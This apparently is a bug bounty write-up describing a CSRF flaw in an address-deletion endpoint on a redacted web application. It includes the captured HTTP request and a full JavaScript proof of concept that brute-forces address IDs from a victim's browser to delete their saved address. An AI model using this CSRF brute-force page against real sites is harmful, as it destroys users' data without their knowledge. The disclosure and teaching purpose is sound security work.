An inconsistent CSRF

I discovered Cross-Site Request Forgery (CSRF) issue in one of the bug bounty programs but limited to some easy and simple actions only.

After spending a few minutes by browsing each and every functionality in the web application I discovered that a feature to delete “Shipping Address” from the account was not protected with CSRF token or any control mechanism. It wasn’t easy as I thought it, because one of the parameters was “dynamic” varying from account to account and it had a different numeric value for each user.

POST /MySettings/DeleteAddress?addressId=14502 HTTP/1.1
Host: www.xyzcompany.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 2
Connection: close
Referer: https://www.xyzcompany.com/MySettings
Cookie: Nop.customer=peepdipeepdi_cookies_and_biscuits; ASP.NET_SessionId=sessionid_xxxx; __RequestVerificationToken=token_xxxx

{}

As we can see in the HTTP request CSRF protection is not present but the parameter “addressId” differs from person to person. Now in order to make CSRF successful we need to guess addressId and craft the payload respectively which is very hard to gather.

I remembered we had faced this kind of issue during the VAPT project of a client at our workplace with my friend Nittam .

I wrote a simple JS code which would brute requests from victims browser within the provided range. For example, whenever a victim will click on CSRF payload his browser would send hundreds of the web request with certain range of numeric addressId and upon a match, the address from victims account will be deleted.

<html>
<!-- Dynamic CSRF PoC To delete address from any account -->
<script>
function submitRequest(id)
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xyzcompany.com/MySettings/DeleteAddress?addressId="+id, true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
var body = "{}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i); 
xhr.send(new Blob([aBody]));
}
for (i=14400;i < 14510; i++) {
submitRequest(i);
}
 </script>
</html>

It is obvious that running above script would reduce the browser’s performance, the browser could act unresponsive as well because of hundreds of the request at a time.

Whenever a victim will visit the CSRF payload, the number of requests will be sent via the victim’s browser. And upon the match of AddressId, his saved address will be deleted.

Bruting AddressId and sending HTTP requests.

And It worked !!!